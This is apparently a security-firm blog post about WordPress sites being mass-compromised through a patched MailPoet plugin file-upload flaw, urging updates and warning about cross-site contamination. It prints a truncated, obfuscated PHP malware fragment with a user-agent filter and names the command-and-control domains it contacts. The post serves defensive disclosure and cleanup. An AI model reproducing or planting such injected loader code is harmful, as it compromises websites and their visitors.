WordPress Websites Continue to Get Hacked via MailPoet Plugin Vulnerability

The popular Mailpoet(wysija-newsletters) WordPress plugin had a serious file upload vulnerability a few months back, allowing an attacker to upload files to the vulnerable site.

This issue was disclosed months ago, the MailPoet team patched it promptly. It seems though that many are still not getting the word, or blatantly not updating, because we are seeing another string of mass exploitation attempts against WordPress websites. Those that are not or have not updated are getting infected repeatedly via this vector, the issue is further compounded because the attackers are using it as a spring board into the reset of their account further compromising their entire account.

Please, we cannot stress the importance of updating, not just your active website, but any other websites you have in your stack, under the same account. Cross-site contamination is a very serious issue. If you can’t update for whatever reason employ the use of a Website Firewall at a minimum, stop the attackers before they get in.

The Payload

We are lucky at the volume of infected websites we get daily, allowing us to analyze and clean hundreds of websites. We have established processes that escalate cases if they trigger specific similarities, it’s part of our pattern recognition process. It’s at this point that our Research team gets involved to better understand the cause and introduce new solutions to 1) clean it faster and 2) see if there is something we can do to get ahead of it (it’s what leads to these posts).

This is exactly what has transpired in this case case. The pattern was this random payload:

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) 
{ $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
 if ((! strstr($ua,"\x6d\163\x69\145")) and 
(! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?
php $fiukcmzguy = '%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c4}472%x5c%x7824<!%x5c%x7825

We will provide a more thorough breakdown of what it is doing in another post. At a high level though, it contacts a malware Command and Control (C&C) server (either one of these hosts: 33db9538.com, 9507c4e8.com, e5b57288.com, 54dfa1cb.com) to determine what to do with the compromised website.

One of the things we look for are common denominators in cases like this, in this case every website had the following path available: wp-content/plugins/wysija-newsletters (yes, MailPoet). When cleaning, they all had:

./wp-content/plugins/wysija-newsletters/classes/WJ_Analytics.php. Details: php.malware.generic.029
./wp-content/plugins/wysija-newsletters/classes/WJ_Export.php. Details: php.malware.generic.029
./wp-content/plugins/wysija-newsletters/classes/WJ_Import.php. Details: php.malware.generic.029

Along with hundreds of other compromised PHP files.

This allowed us to drill further into the sites, specifically their logs, and find that all sites with this injection were running MailPoet. As we investigated the logs, we could see the attack pattern of the theme upload, followed by the exploitation.

Cross Site Contamination

Another pattern we are seeing is that cross site contamination is occurring after the compromise.

There were a few websites that did not have MailPoet installed, but further investigation revealed it was on the site in a neighboring website (which was out of date and not patched or protected).

If you have other websites onn your web server, or if you ever installed a demo or testing directory, please remove or update it, it can be misused to hack your site or any number of wide ranging acts.

In one case, the “forgotten” directory was /backups. He had a copy of WordPress inside /backups running the vulnerable plugin and it lead to his whole site getting hacked. Yes, Backups are important, but follow best practices when employing them.

Nuclear Exploit Kit

Another interesting point about this injection is that the malware displayed browser-side is very dynamic, but when active it is very similar to this one (a.k.a. – Nuclear Exploit Kit): Malicious Iframes Targeting WordPress

Read more: WordPress Websites Continue to Get Hacked via MailPoet Plugin Vulnerability

Story added 9. October 2014, content source with full text you can find at link above.